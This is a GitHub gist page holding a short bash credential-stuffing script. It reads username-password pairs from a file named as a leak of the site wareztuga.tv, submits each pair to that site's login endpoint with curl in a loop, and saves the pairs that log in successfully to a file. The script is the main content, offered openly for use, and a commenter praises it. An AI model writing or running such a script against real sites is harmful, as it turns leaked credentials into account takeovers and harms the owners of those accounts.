Created
May 6, 2015 01:00
-
-
Save zezadas/b8ab53ca9d0dfce6ba1d to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
#credits to zezdadas and megaleak | |
#dont expect much this took me 5 minutes to write... | |
while read line | |
do | |
name=$line | |
um=$(echo "$line" | cut -d '-' -f 1 | tr -d '[[:space:]]') | |
dois=$(echo "$line" | cut -d '-' -f 2 | tr -d '[[:space:]]') | |
#if [[ "$um" =~ "$dois" ]] | |
#then | |
# user==password | |
# echo "$um" | |
#fi | |
while true | |
echo "testing $um com $dois" | |
valor=`curl -s "http://www.wareztuga.tv/login.ajax.php?username=$um&password=$dois"` | |
do | |
if [[ $valor =~ ^-?[0-9]+$ ]] | |
then | |
break | |
fi | |
done | |
echo "confirma $um-$dois ret $valor" | |
if [ "$valor" -eq "0" ] | |
then | |
echo "YEAH $um-$dois" | |
echo "$um-$dois" >> sucesszadas | |
fi | |
done < ./megaleak_-_www.wareztuga.tv.txt |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Very Good code indeed ;)